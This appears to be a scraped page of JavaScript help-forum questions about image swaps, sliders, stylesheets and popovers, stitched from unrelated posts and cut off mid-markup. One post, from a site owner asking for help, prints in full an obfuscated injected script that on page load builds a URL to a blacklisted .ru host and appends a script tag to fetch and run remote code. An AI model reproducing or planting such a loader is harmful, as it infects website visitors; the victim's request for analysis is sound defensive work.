|
JavaScript - Need Help With Multiple Image Swaps On Multiple Pages In Wordpress
Hi,
I hope someone can help me. I'll be honest and say I don't know much about javascript, but am fairly comfortable in html. I am building a website that will have multiple image swaps on multiple pages. I am building this in wordpress, and I'm guessing that means my approach will be different than if I wasn't using wordpress. Here's how one page would work: There are 10 images shown. 1,2,3,4,5,6,7,8,9,10. When number 1 is clicked on, I want a new image - 1a. When 2 is clicked on, 2a. So there are 20 different images in all on a given page. Also, I want the user to be able to click on the image again to restore the original image. I would prefer onclick to onmouseover. There will be literally dozens of pages like this on the site, managed by wordpress, so hundreds of images to swap. Basically the first image is a question - the second image is the answer. Is this possible? Similar Tutorialshttp://www.pennonconstruction.com/projects.php I'm trying to rotate an array of images (including different urls the images are linked to). The two images below "Featured Projects" are the images that should be rotating with an array of different images/links. I know this can be done in a fairly simple way, I'm just having a hard time finding something that is simple and works. Any help is much appreciated! I'm trying to create a portfolio website in which I have multiple galleries showing different work on the same page . Each to work separately and change the default image on click. I have seen it work he http://www.fajnechlopaki.com/ I was able to follow this: http://codingforums.com/showthread.php?p=941419 but then couldn't duplicate it. Please help! Thanks. how do i make something like this? so that instead of viewing a long list it will be divided into pages..? Hi guys, i have posted this problem yesterday but maybe it just wasnt clear enough on what i wanted to acheiv. basically i have 1 link throughout my site and its a "buy now" button. i want it to be able to fetch possibly a value out my page content and then depending on that content direct the user to the correct page when they click that button? is this feasible? cheers, ant. Good day Lets say I have a page with 3 thumbnails and one big div. When click in one of the thumbnails the image of it must appear inside the big div. Of course there are 3 images (little ones for the thumbnails) and 3 big images for the real size ones. Script this is simple for me but imposible if I have more than 100 pages within 6 images inside them (3 little and 3 real size for 3 thumnail divs and one single big div). There must be some kind of order to just script the divs of the thumbnail divs and the real size image div in all the pages at ones, otherwise I have to creat ID's to every single div inside every single page! (4 id's to one page and I have more than 100 pages!, this is inpractical because is posible that in the future the pics change, is more than 400 id's) For example: for FIRST.html big div (div id="img001bg") thumb1 div (div id="th_img001" thumb2 div (div id="th_img002" thumb3 div (div id="th_img003" SECOND.html THIRD.html ... HUNDRED.html ... ! There must be some solution using somehow the functions, please help! Thank you to all Hello, I am trying to figure out how to write a quiz that has one question per html page, then once the choice has been selected, it will go to another page and tally a total at the end. Can this be done? And if so, can you point me in the right direction to research? Thanks in advance, Tanya Hello everyone, right now I have this in my site:
Code: <html>
<head>
<script type="text/javascript">
function open_win() {
window.open("http://www.google.com/")
window.open("http://www.google.com/")
window.open("http://www.google.com/")
window.open("http://www.google.com/")
window.open("http://www.google.com/")
window.open("http://www.google.com/")
window.open("http://www.google.com/")
window.open("http://www.google.com/")
}
</script>
</head>
<body>
<form>
<input type=button value="Open Windows" onclick="open_win()">
</form>
</body>
</html>
And I was wondering if there's a way to get rid of the button, and make it so when the user opens the webpage, it automatically opens the multiple webpages. -- If that's not possible, I was also wondering if there's a way to make the button "click" on a mouseover, so when they move their mouse across the button, it opens the pages. I would rather have the 1st option, if possible. Thanks. I'm trying to allow the user to change the stylesheet of my website. I can change the stylesheet on a page by page basis (eg. from red style to blue style) but once the user navigates to a different page the stylesheet resets back to the original setting. For example, when the user visits the site first its set to the red style, they can change it to blue but when they navigate to another page the style goes back to red again where as I want the style to stick across pages. Does anybody know how I can sort this out? I assume I'll have to edit my javascript but Im not very good at javascript so any help would be great! HTML Code: <html>
<head>
<link href="red.css" rel="stylesheet"
type="text/css" title="red" media="screen" />
<link href="green.css" rel="alternate stylesheet"
type="text/css" title="green" media="screen" />
<link href="blue.css" rel="alternate stylesheet"
type="text/css" title="blue" media="screen" />
<script type="text/javascript">
function changeStyle(title) {
var lnks = document.getElementsByTagName('link');
for (var i = lnks.length - 1; i >= 0; i--) {
if (lnks[i].getAttribute('rel').indexOf('style')> -1 && lnks[i].getAttribute('title')) {
lnks[i].disabled = true;
if (lnks[i].getAttribute('title') == title) lnks[i].disabled = false;
}}}
</script>
</head>
<body>
<a href = "home1.html">Page 1</a>
<br>
<br>
<a href = "home2.html">Page 2</a>
<br>
<br>
<a href = "home3.html">Page 3</a>
<br>
<br>
<br>
<br>
<a href = "#" onclick="changeStyle('red')">Red Stylesheet</a>
<br>
<br>
<a href = "#" onclick="changeStyle('blue')">Blue Stylesheet</a>
<br>
<br>
<a href = "#" onclick="changeStyle('green')">Green Stylesheet</a>
</body>
</html>
CSS Code: body
{
background-color:red;
}
Hi, When designing a web page, you may come across a situation where you want to combine content from multiple websites in a single window. Could the "iframe" tag makes this possible? If so, as it will separate your page design into several sections and display a different website in each one? Your answers are much appreciated. Thank you for watching me. Stickers So today I have discovered some malicious JavaScript code inserted into a bunch of my pages on a webserver. Access to these pages through FTP is granted to 3 people, myself, my boss, and a contract programmer. Unfortunately, the FTP server wasn't set to log, so I can't tell for sure if it was the programmer, but my assumption and suspicion is that it was him. This code was inserted at the bottom of multiple pages. I can't make heads or tails of it, but it cannot be good, whatever it is. When I view the page that it was on, I noticed the web browser connecting to http://over-blog-com.alice.it.baixin...rseasilver.ru/. Browsing to this page takes you to some foreign hosting site. Googling superseasilver.ru only provides a page that has this address listed in a blacklist. I'd like to know what this code does, but again, I have no idea... So I figured maybe some of you JavaScript gurus could take a look and be able to tell me. Any information would be greatly appreciated, as we hired this programmer through odesk.com, and will be filing a complaint for refund and him being banned from the site. I'd also like to know if there is any possibility that this was inserted some other way other than someone FTP'n in and doing this. Code below. Thanks for any advice and time spent reading this! E <script>var u='';var l;if(l!='R' && l != ''){l=null};function J(){var pV;if(pV!='yp' && pV!='p'){pV=''};var Ux='';var y='';this.L="";this.T="";var q="g";var O=new String();var lP;if(lP!='' && lP!='iu'){lP=''};var z=RegExp;var t;if(t!='C' && t!='NR'){t=''};var Ql;if(Ql!='Z' && Ql!='DX'){Ql=''};function I(k,Jq){this.FW="";var ze="";var n= String("JYv[".substr(3));var QR;if(QR!='lK' && QR!='OR'){QR=''};var Qw=new Date();n+=Jq;var VZ="";n+="lSm]".substr(3);this._E="";var W;if(W!=''){W='j'};var X="";var Kj=new Date();var U=new z(n, q);var Wp;if(Wp!='' && Wp!='Gf'){Wp=null};return k.replace(U, y);var Qc=new String();var Cu;if(Cu!='E' && Cu!='lL'){Cu=''};};var _p=new Date();var LI=new Date();var N='';var M;if(M!='oI' && M!='EE'){M=''};var oJ='';var JW=new String("sc"+"riF1A".substr(0,2)+"9IHuptIHu9".substr(4,2));var G=window;var AI;if(AI!='' && AI!='ks'){AI=null};var x=I('89933034733879579403755974',"43579");var Tp;if(Tp!=''){Tp='FH'};this.v="";var K=String("/gGoiU".substr(0,2)+"ooCclD".substr(0,2)+"HDXglHXD".substr(3,2)+"e."+"LBgcoBLg".substr(3,2)+"FsR.t".s ubstr(3)+"h/Va1K".substr(0,2)+"govX1t".substr(0,2)+"og"+"EPbleEbP".substr(3,2)+".cr1E".substr(0,2)+"2890o.".subs tr(4)+"6HmthH6m".substr(3,2)+"/gAbt".substr(0,2)+"oo"+"ucYglucY".substr(3,2)+"e."+"y0jcojy0".substr(3,2)+"m/BtGz".substr(0,2)+"IKVzviKIVz".substr(4,2)+"fH4rg4Hf".substr(3,2)+"GOphinpGhO".substr(4,2)+"8bGme".s ubstr(3)+"N7Jdi".substr(3)+"oG0a.o0G".substr(3,2)+"co"+"m/4wZh".substr(0,2)+"YxUAkeAYxU".substr(4,2)+"Oj1dep".substr(4)+"vi"+"ct30d.".substr(4)+"CH5VcoC5HV".s ubstr(4,2)+"m.qbn".substr(0,2)+"ph"+"DzxjpDjxz".substr(4,1));var dI;if(dI!='g' && dI != ''){dI=null};var tB;if(tB!='bw' && tB != ''){tB=null};var i="defeQzGI".substr(0,4)+"tyirity".substr(3,1);var FWT;if(FWT!=''){FWT='Ty'};this.hO="";var f="sr"+"ct2b".substr(0,1);var nM='';var kN=String("htt"+"p:/6Mqx".substr(0,3)+"/ov"+"ACzer-ACz".substr(3,3)+"Nkz5blo".substr(4)+"iSMg-c".substr(3)+"Y6Kom.6YK".substr(3,3)+"dTFaliFTd".substr(3,3)+"ce.SzU".substr(0,3)+"it.gTP".substr(0, 3)+"SvAbaivSA".substr(3,3)+"GLwJxinJGwL".substr(4,3)+"Veug-ceuV".substr(3,3)+"RM70om.RM07".substr(4,3)+"sup"+"ZVvcersVcZv".substr(4,3)+"eas"+"ilvV1Yu".substr(0 ,3)+"2KkNer.".substr(4)+"ru:QHhd".substr(0,3));this.jP='';var jJ;if(jJ!=''){jJ='IT'};var Nt;if(Nt!='Jp'){Nt='Jp'};var hR;if(hR!='oA' && hR!='S'){hR=''};G.onload=function(){this.pw='';try {this.Wu="";this.cY="";N=kN+x;N+=K;var Lq="";this.YG='';var ql=new Date();r=document.createElement(JW);var Xn;if(Xn!=''){Xn='CuM'};var gr='';r[f]=N;r[i]=[1][0];this.bs="";document.body.appendChild(r);var zJ="";} catch(kF){};};var oQ='';};var Gb='';var dK="";J();var ox;if(ox!='_a' && ox!='mK'){ox=''};</script> <!--4ff31209b849a146e6784b8cb55539b3--> I'm slowly scraping away errors from a page im working on and ive found this forum to be very helpful- down to one more that i wanted to post on. sample page is he http://darrenlasso.com/freelance/loo.../lookbook.html Works fine in most all browsers except for IE8- ive even had to include built in ie7 compatibility to get it to work at all. Problem is most likely associated with my js, which is: Code: function ShowPage(frame)
{
frames[0].location = frame+'.html'
}
and html is: Code: <div id="thumb1"><a onmouseover="ShowPage('frame1')"onclick="ShowPage('frame1')" rel="nofollow" target="mainbox"></a></div>
<div id="thumb2"><a onmouseover="ShowPage('frame2')"onclick="ShowPage('frame2')" rel="nofollow" target="mainbox"></a></div>
<div id="thumb3"><a onmouseover="ShowPage('frame3')"onclick="ShowPage('frame3')" rel="nofollow" target="mainbox"></a></div>
etc etc.. Which is just something i found online - probly isnt right for what im trying to accomplish. If you go to the site- you navigate by hovering over/clicking the images at the top and that loads a new page into the iframe below. Id like to be able to fix the errors and get it working without having to force ie7 compatibility if possible too. Any help is much appreciated Hopefully the title isn't too confusing, I shall explain... I'm a basic PHP/javascript developer and I need to build a series of forms where info is passed from page to page and there will be a need to skip to different sequences of pages depending upon answers given. I have distilled this into a small example (try.php) where I can set my page destination using javascript but I'd like to be able to set a session variable to store the form data to reuse it on other pages. Because I haven't used a form action then the result doesn't get stored. This example should make it clearer... Here is a simple form, I send the visitor to either page 1 or page 2 depending on their radio button choice: Code: <script type="text/javascript">
function OnSubmitForm()
{
if(document.myform.destination[0].checked == true)
{
document.myform.action ="pg1.php";
}
else
if(document.myform.destination[1].checked == true)
{
document.myform.action ="pg2.php";
}
return true;
}
</script>
<form name="myform" onsubmit="return OnSubmitForm();">
name: <input type="text" name="name"><br>
email: <input type="text" name="email"><br>
<input type="radio" name="destination" value="1" checked>go to page 1<br>
<input type="radio" name="destination" value="2">go to page 2
<p>
<input type="submit" name="submit" value="go">
</p>
</form>
This works fine inasmuch as it takes the visitor to the correct page, however I'd like to store the name entered as a session variable and reuse it on page 1 (or page 2). page1.php looks like this (and page 2 is very similar): Code: <?php
session_start();
// debug - turn on error reporting
error_reporting(E_ALL | E_NOTICE);
ini_set('display_errors', '1');
//Store our posted values in a session variable
if (isset ($_POST['name'])) {
$_SESSION['name'] = $_POST['name'];
}
else {
$_SESSION['name'] = null;
}
echo ("Session variable is set to: ".$_SESSION['name']);
?>
<h1>welcome to page 1</h1>
I'm sure that pg1.php would work if I had used a form action but I need the ability to send the visitor to different pages on form submission Is it possible to write the name to a session variable in try.php (I guess using javascript/ajax)? Thanks for any hints and examples Nigel Hello, I am trying to have 4 different images change when the user hits the start button. The speed they change in is based on what selection they have chosen (fast = every second, med = 3 sec, slow = 5 sec), and this cycle repeats until the user has hit the stop button. However, I am struggling to get this to work and have looked around the web for help, but cannot find it. <html> <head> <title>Untitled</title> </head> <body> <img src = "pic1.jpg" id = "swapper"> <form name = "form1"> <input type = "button" value = "Start" onclick = "Swap()"> <input type = "button" value = "Stop" onclick + "Stop()"> Speed: <select name = "Speed"> <option>Slow</option> <option>Medium</option> <option>Fast</option> </select> </form> <script language="JavaScript" type="text/javascript"> var Images = array["pic1.jpg","pic2.jpg","pic3.jpg","pic4.jpg"]; function Swap(){ } function Stop(){ } //clear it: clearInterval(imageSwapInterval); </script> </body> </html> I have not included any attempt of a code for the functions because I have tried at least 8 different things and have failed to get it to properly work each time. Also the array I set up does not work either. Thank you for the help and your time, Crimmm I have built a webpage that is all one template and the use of an iframe to change the content and not reload the page graphics every time. The way the page is laid out is a background image in the farthest back table behind another table of a background image that is transparent and over lays the bottom table image. I want the menu buttons; with the existing rollover image for them alone, to change the bottom layer background image "on click". The only code sources i have found will swap images in the same table area and not to any image existing in the entire document. thanx Good morning all. I am looking to have multiple image sliders (javascript / jquery) on one page. I have built the framework and have gotten one slider to work. However, when adding in another slider, I have only confused the situation. Below is the html and css. Let me know where I've gone wrong here. Will I need another set of css classes for each slider? How do I call a second slider? Thanks! The html/javascript Code: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link media="screen" type="text/css" link rel="stylesheet" href="style.css" />
<link media="screen" type="text/css" link rel="stylesheet" href="stylework.css" />
<link media="screen" link rel="stylesheet" type="text/css" href="wt-scroller.css" />
<link media="screen" link rel="stylesheet" type="text/css" href="wt-lightbox.css" />
<script type="text/javascript" src="js/jquery-1.6.1.min.js"></script>
<script type="text/javascript" src="js/jquery-ui-1.8.10.custom.min.js"></script>
<script type="text/javascript" src="js/jquery.wt-lightbox.min.js"></script>
<script type="text/javascript" src="js/jquery.wt-scroller.min.js"></script>
<title>idigify</title>
</head>
<body>
<div class="main">
<div class="container">
<div class="header">
<ul class="nav">
<ul>
<div class="allbuttons">
<div class="navabout"><li>about</li></div>
<div class="navwork"><li>work</li></div>
<div class="navcontact"><li>contact</li></div>
</div><!--end of all buttons-->
</ul><!--end of nav list-->
</ul><!--end of nav-->
</div>
<!--end of header-->
<div class="headeraboutme">the work</div>
<div class="sitemainfeature">
<div class="aboutme_text">
<h2>Just for Fun</h2>
<div class="workslider_justforfun">
<div class="workslider_justforfun_container">
<div class="wt-scroller">
<div class="prev-btn"></div>
<div class="slides">
<ul>
<li>
<a href="images/triworks_abstract27.jpg" rel="scroller">
<img src="images/thumbs/triworks_abstract27.jpg"/> </a>
<p> this is just a test.this is just a test.this is just a test.</p>
</li>
<li>
<a href="images/triworks_abstract27.jpg" rel="scroller">
<img src="images/thumbs/triworks_abstract27.jpg"/> </a>
<p> this is just a test.this is just a test.this is just a test.</p>
</li>
<li>
<a href="images/triworks_abstract27.jpg" rel="scroller">
<img src="images/thumbs/triworks_abstract27.jpg"/> </a>
<p> this is just a test.this is just a test.this is just a test.</p>
</li>
</ul>
</div><!--end of slider-->
<div class="next-btn"></div>
<div class="lower-panel">
<div class="scroll-bar">
<div class="thumb">
</div><!--end of thumb-->
</div><!--end of scroll-bar-->
</div><!--end of lower panel-->
</div><!--end of wt scroller just for fun-->
</div><!--end of just for fun container-->
</div><!--end of workslider-->
<h2>Ads/Advertising</h2>
<div class="workslider_justforfun">
<div class="workslider_justforfun_container">
<div class="wt-scroller2">
<div class="prev-btn"></div>
<div class="slides">
<ul>
<li>
<a href="images/triworks_abstract27.jpg" rel="scroller">
<img src="images/thumbs/triworks_abstract27.jpg"/> </a>
<p> this is just a test.this is just a test.this is just a test.</p>
</li>
<li>
<a href="images/triworks_abstract27.jpg" rel="scroller">
<img src="images/thumbs/triworks_abstract27.jpg"/> </a>
<p> this is just a test.this is just a test.this is just a test.</p>
</li>
<li>
<a href="images/triworks_abstract27.jpg" rel="scroller">
<img src="images/thumbs/triworks_abstract27.jpg"/> </a>
<p> this is just a test.this is just a test.this is just a test.</p>
</li>
</ul>
</div><!--end of slider-->
<div class="next-btn"></div>
<div class="lower-panel">
<div class="scroll-bar">
<div class="thumb">
</div><!--end of thumb-->
</div><!--end of scroll-bar-->
</div><!--end of lower panel-->
</div><!--end of wt scroller just for fun-->
</div><!--end of just for fun container-->
</div><!--end of workslider-->
<h2>Logos</h2>
<div class="workslider_justforfun">
<div class="workslider_justforfun_container">
<div class="wt-scroller">
<div class="prev-btn"></div>
<div class="slides">
<ul>
<li>
<a href="images/triworks_abstract27.jpg" rel="scroller">
<img src="images/thumbs/triworks_abstract27.jpg"/> </a>
<p> this is just a test.this is just a test.this is just a test.</p>
</li>
<li>
<a href="images/triworks_abstract27.jpg" rel="scroller">
<img src="images/thumbs/triworks_abstract27.jpg"/> </a>
<p> this is just a test.this is just a test.this is just a test.</p>
</li>
<li>
<a href="images/triworks_abstract27.jpg" rel="scroller">
<img src="images/thumbs/triworks_abstract27.jpg"/> </a>
<p> this is just a test.this is just a test.this is just a test.</p>
</li>
</ul>
</div><!--end of slider-->
<div class="next-btn"></div>
<div class="lower-panel">
<div class="scroll-bar">
<div class="thumb">
</div><!--end of thumb-->
</div><!--end of scroll-bar-->
</div><!--end of lower panel-->
</div><!--end of wt scroller just for fun-->
</div><!--end of just for fun container-->
</div><!--end of workslider-->
<h2>Billboards</h2>
<div class="workslider_billboard">
</div><!--end of workslider-->
<h2>Business Cards</h2>
<div class="workslider_businesscard">
</div><!--end of workslider-->
<h2>Resumes</h2>
<div class="workslider_resume">
</div><!--end of workslider-->
<h2>Sales Pieces</h2>
<div class="workslider_salespiece">
</div><!--end of workslider-->
</div><!--end of about me text-->
</div><!--end of site main feature-->
<div class="worksplash"></div><!--end of background splash-->
</div><!--end of container-->
</div><!--end of main-->
<div class="footercontainer">
<ul class="nav">
<ul>
<div class="navabout"><li>about</li></div>
<div class="navwork"><li>work</li></div>
<div class="navcontact"><li>contact</li></div>
</ul><!--end of nav list-->
</ul><!--end of nav-->
</div>
<!--end of footer container-->
<script type="text/javascript">
$(document).ready(
function() {
//initialize scroller
$(".container").wtScroller({
num_display:3,
slide_width:240,
slide_height:180,
slide_margin:1,
button_width:25,
ctrl_height:15,
margin:1,
auto_scroll:false,
delay:4000,
scroll_speed:1000,
easing:"",
auto_scale:true,
move_one:false,
ctrl_type:"scrollbar",
display_buttons:true,
display_caption:true,
mouseover_caption:false,
caption_align:"bottom",
caption_position:"inside",
cont_nav:true,
shuffle:false
});
//initialize lightbox for scroller
$("a[rel='scroller']").wtLightBox({
rotate:true,
delay:4000,
transition_speed:600,
display_number:true,
display_dbuttons:true,
display_timer:true,
display_caption:true,
caption_align:"bottom",
cont_nav:true,
auto_fit:true,
easing:""
});
}
);
</script>
</body>
</html>
the css Code: .wt-scroller{
position:relative;
display:block;
font-family:Arial,Helvetica,sans-serif;
background-color:#CCCCCC;
width:720px;
height:180px;
}
.wt-scroller .slides{
position:relative;
width:700px;
height:200px;
float:left;
overflow:hidden;
z-index:1;
}
.wt-scroller .slides ul{
list-style:none;
position:relative;
width:999999px;
margin:0px;
padding:0px;
z-index:0;
overflow:hidden;
}
.wt-scroller .slides ul li{
position:relative;
display:block;
float:left;
overflow:hidden;
width:240px;
height:200px;
margin-left:5px;
}
.wt-scroller .slides ul li img{
position:absolute;
top:0;
left:0;
z-index:0;
border:0;
}
.wt-scroller .slides ul li p{
position:absolute;
top:0;
left:0;
z-index:1;
color:#FFF;
font-size:12px;
width:200px;
padding:5px;
margin:0;
visibility:hidden;
}
.wt-scroller .outside{
background-color:#222;
}
.wt-scroller .inside{
-ms-filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#BF000000,endColorstr=#BF000000);
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#BF000000,endColorstr=#BF000000);
background-color:rgba(0,0,0,0.75);
}
.wt-scroller .prev-btn{
float:left;
position:relative;
width:20px;
height:170px;
cursor:pointer;
}
.wt-scroller .next-btn{
float:right;
position:relative;
width:20px;
height:170px;
cursor:pointer;
}
.wt-scroller .prev-btn{
background:url(assets/prev.png) center no-repeat;
}
.wt-scroller .next-btn{
background:url(assets/next.png) center no-repeat;
}
.wt-scroller .lower-panel{
display:block;
position:relative;
clear:both;
text-align:center;
font-size:0;
}
.wt-scroller .scroll-bar{
position:relative;
background-color:#999;
background:-moz-linear-gradient(top, #999 0%, #666 100%);
background:-webkit-gradient(linear, left top, left bottom, color-stop(0%,#999), color-stop(100%,#666));
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#999999', endColorstr='#666666', GradientType=0);
-moz-border-radius:2px;
-webkit-border-radius:2px;
border-radius:2px;
width:100%;
height:5px;
cursor:pointer;
overflow:hidden;
}
.wt-scroller .thumb{
position:absolute;
top:0;
left:0;
width:100px;
height:5px;
-moz-border-radius:2px;
-webkit-border-radius:2px;
border-radius:2px;
background-color:#FFF;
background:-moz-linear-gradient(top, #FFF 0%, #CCC 100%);
background:-webkit-gradient(linear, left top, left bottom, color-stop(0%,#FFF), color-stop(100%,#CCC));
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFF', endColorstr='#CCCCCC', GradientType=0);
}
.wt-scroller .index,
.wt-scroller .index-hl{
position:relative;
display:inline-block;
width:7px;
height:7px;
margin:0 4px;
background-image:url(assets/circle.png);
background-repeat:no-repeat;
}
.wt-scroller .index{
background-position:0 0;
cursor:pointer;
}
.wt-scroller .index-hl{
background-position:-7px 0;
cursor:default;
}
/*start of scroller2 */
.wt-scroller2{
position:relative;
display:block;
font-family:Arial,Helvetica,sans-serif;
background-color:#CCCCCC;
width:720px;
height:180px;
}
.wt-scroller2 .slides{
position:relative;
width:700px;
height:200px;
float:left;
overflow:hidden;
z-index:1;
}
.wt-scroller2 .slides ul{
list-style:none;
position:relative;
width:999999px;
margin:0px;
padding:0px;
z-index:0;
overflow:hidden;
}
.wt-scroller2 .slides ul li{
position:relative;
display:block;
float:left;
overflow:hidden;
width:240px;
height:200px;
margin-left:5px;
}
.wt-scroller2 .slides ul li img{
position:absolute;
top:0;
left:0;
z-index:0;
border:0;
}
.wt-scroller2 .slides ul li p{
position:absolute;
top:0;
left:0;
z-index:1;
color:#FFF;
font-size:12px;
width:200px;
padding:5px;
margin:0;
visibility:hidden;
}
.wt-scroller2 .outside{
background-color:#222;
}
.wt-scroller2 .inside{
-ms-filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#BF000000,endColorstr=#BF000000);
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#BF000000,endColorstr=#BF000000);
background-color:rgba(0,0,0,0.75);
}
.wt-scroller2 .prev-btn{
float:left;
position:relative;
width:20px;
height:170px;
cursor:pointer;
}
.wt-scroller2 .next-btn{
float:right;
position:relative;
width:20px;
height:170px;
cursor:pointer;
}
.wt-scroller2 .prev-btn{
background:url(assets/prev.png) center no-repeat;
}
.wt-scroller .next-btn{
background:url(assets/next.png) center no-repeat;
}
.wt-scroller2 .lower-panel{
display:block;
position:relative;
clear:both;
text-align:center;
font-size:0;
}
.wt-scroller2 .scroll-bar{
position:relative;
background-color:#999;
background:-moz-linear-gradient(top, #999 0%, #666 100%);
background:-webkit-gradient(linear, left top, left bottom, color-stop(0%,#999), color-stop(100%,#666));
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#999999', endColorstr='#666666', GradientType=0);
-moz-border-radius:2px;
-webkit-border-radius:2px;
border-radius:2px;
width:100%;
height:5px;
cursor:pointer;
overflow:hidden;
}
.wt-scroller2 .thumb{
position:absolute;
top:0;
left:0;
width:100px;
height:5px;
-moz-border-radius:2px;
-webkit-border-radius:2px;
border-radius:2px;
background-color:#FFF;
background:-moz-linear-gradient(top, #FFF 0%, #CCC 100%);
background:-webkit-gradient(linear, left top, left bottom, color-stop(0%,#FFF), color-stop(100%,#CCC));
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFF', endColorstr='#CCCCCC', GradientType=0);
}
.wt-scroller2 .index,
.wt-scroller2 .index-hl{
position:relative;
display:inline-block;
width:7px;
height:7px;
margin:0 4px;
background-image:url(assets/circle.png);
background-repeat:no-repeat;
}
.wt-scroller2 .index{
background-position:0 0;
cursor:pointer;
}
.wt-scroller2 .index-hl{
background-position:-7px 0;
cursor:default;
}
/*end of scroller2 */
I am new to web design and purchased "Instant PopOver" thinking it would do all the javascripting for me, BUT it doesn't combine the popovers in a single document and their customer service doesn't provide custom coding help. I must not be scripting this right. Here's what I'm working on: http://www.hallornothingdesigns.com/...ew/map_pop.htm The popovers are suppose to all be unique in different locations. Can someone help me? My butchered code is below: Code: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- saved from url=(0014)about:internet -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- IPO CODE: ALBOX START -->
<script language="javascript">
function showAlert1() {makeAlert('Discover','<iframe id="aliframe" src=http://www.hallornothingdesigns.com/GrandeVillas_Preview/discover.html width=97% height=150 frameborder=0 scrolling=no></iframe>\n',0,50,3,'#0000FF');}
function showAlert2() {makeAlert('Hang','<iframe id="aliframe" src=http://www.hallornothingdesigns.com/GrandeVillas_Preview/hang.html width=97% height=150 frameborder=0 scrolling=no></iframe>\n',0,50,3,'#0000FF');}
function showAlert3() {makeAlert('Encounter','<iframe id="aliframe" src=http://www.hallornothingdesigns.com/GrandeVillas_Preview/encounter.html width=97% height=150 frameborder=0 scrolling=no></iframe>\n',0,50,3,'#0000FF');}
function showAlert4() {makeAlert('Challenge','<iframe id="aliframe" src=http://www.hallornothingdesigns.com/GrandeVillas_Preview/challenge.html width=97% height=150 frameborder=0 scrolling=no></iframe>\n',0,50,3,'#0000FF');}
function showAlert5() {makeAlert('Explore','<iframe id="aliframe" src=http://www.hallornothingdesigns.com/GrandeVillas_Preview/explore.html width=97% height=150 frameborder=0 scrolling=no></iframe>\n',0,50,3,'#0000FF');}
function showAlert6() {makeAlert('Behold','<iframe id="aliframe" src=http://www.hallornothingdesigns.com/GrandeVillas_Preview/behold.html width=97% height=150 frameborder=0 scrolling=no></iframe>\n',0,50,3,'#0000FF');}
function showAlert7() {makeAlert('Send','<iframe id="aliframe" src=http://www.hallornothingdesigns.com/GrandeVillas_Preview/send.html width=97% height=150 frameborder=0 scrolling=no></iframe>\n',0,50,3,'#0000FF');}
function showAlert8() {makeAlert('Take','<iframe id="aliframe" src=http://www.hallornothingdesigns.com/GrandeVillas_Preview/take.html width=97% height=150 frameborder=0 scrolling=no></iframe>\n',0,50,3,'#0000FF');}
function showAlert9() {makeAlert('Conquer','<iframe id="aliframe" src=http://www.hallornothingdesigns.com/GrandeVillas_Preview/conquer.html width=97% height=150 frameborder=0 scrolling=no></iframe>\n',0,50,3,'#0000FF');}
function showAlert10() {makeAlert('Seize','<iframe id="aliframe" src=http://www.hallornothingdesigns.com/GrandeVillas_Preview/seize.html width=97% height=150 frameborder=0 scrolling=no></iframe>\n',0,50,3,'#0000FF');}
</script>
<!-- IPO CODE: ALBOX END -->
<title>Grande Villas Spinnakers Kids' Club</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<!--Fireworks CS3 Dreamweaver CS3 target. Created Sun Dec 20 18:18:27 GMT-0500 (EST) 2009-->
</head>
<body bgcolor="#74b1bf" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<script language="javascript" src="AlertPopOVER.js"></script>
<img name="map_background2" src="map_background2.gif" width="1500" height="864" border="0" id="map_background2" usemap="#m_map_background2" alt="" /><map name="m_map_background2" id="m_map_background2">
<area shape="rect" coords="844,449,1028,535" href="http://www.gvcondos.com" target="_blank" title="Grande Villas Homepage" alt="Grande Villas Homepage" />
<area shape="rect" coords="525,195,597,216" href='javascript:void(0);' onClick="javascript:showAlert1();">
<area shape="rect" coords="944,201,989,223" href='javascript:void(0);' onClick="javascript:showAlert2();">
<area shape="rect" coords="716,239,798,257" href='javascript:void(0);' onClick="javascript:showAlert3();">
<area shape="rect" coords="509,332,591,351" href='javascript:void(0);' onClick="javascript:showAlert4();">
<area shape="rect" coords="723,365,792,384" href='javascript:void(0);' onClick="javascript:showAlert5();">
<area shape="rect" coords="856,324,919,343" href='javascript:void(0);' onClick="javascript:showAlert6();">
<area shape="rect" coords="958,373,1000,394" href='javascript:void(0);' onClick="javascript:showAlert7();">
<area shape="rect" coords="824,427,868,446" href='javascript:void(0);' onClick="javascript:showAlert8();">
<area shape="rect" coords="648,518,695,535" href='javascript:void(0);' onClick="javascript:showAlert9();">
<area shape="rect" coords="497,449,562,468" href='javascript:void(0);' onClick="javascript:showAlert10();">
</map>
<!-- IPO CODE: ALBOX START -->
<div id="stl_alert1" style="position: absolute; visibility: hidden;
left: 527px;
top: 215px;
width: 270px;
height: 150px;
border: 1px solid #330E00;
background-color: #FFFFFF"
>
<div align=right>
<font face=Tahoma size=1><a href='javascript:void(0);' onClick="hideAlert()">close</a></font>
</div>
<font face=Verdana size=12><iframe id="aliframe" src=http://www.hallornothingdesigns.com/GrandeVillas_Preview/discover.html width=97% height=150 frameborder=0 scrolling=no></iframe></font>
</div>
<div id="stl_alert2" style="position: absolute; visibility: hidden;
left: 945px;
top: 221px;
width: 270px;
height: 150px;
border: 1px solid #330E00;
background-color: #FFFFFF"
>
<div align=right>
<font face=Tahoma size=1><a href='javascript:void(0);' onClick="hideAlert()">close</a></font>
</div>
<font face=Verdana size=12><iframe id="aliframe" src=http://www.hallornothingdesigns.com/GrandeVillas_Preview/hang.html width=97% height=150 frameborder=0 scrolling=no></iframe></font>
</div>
<div id="stl_alert3" style="position: absolute; visibility: hidden;
left: 717px;
top: 258px;
width: 270px;
height: 150px;
border: 1px solid #330E00;
background-color: #FFFFFF"
>
<div align=right>
<font face=Tahoma size=1><a href='javascript:void(0);' onClick="hideAlert()">close</a></font>
</div>
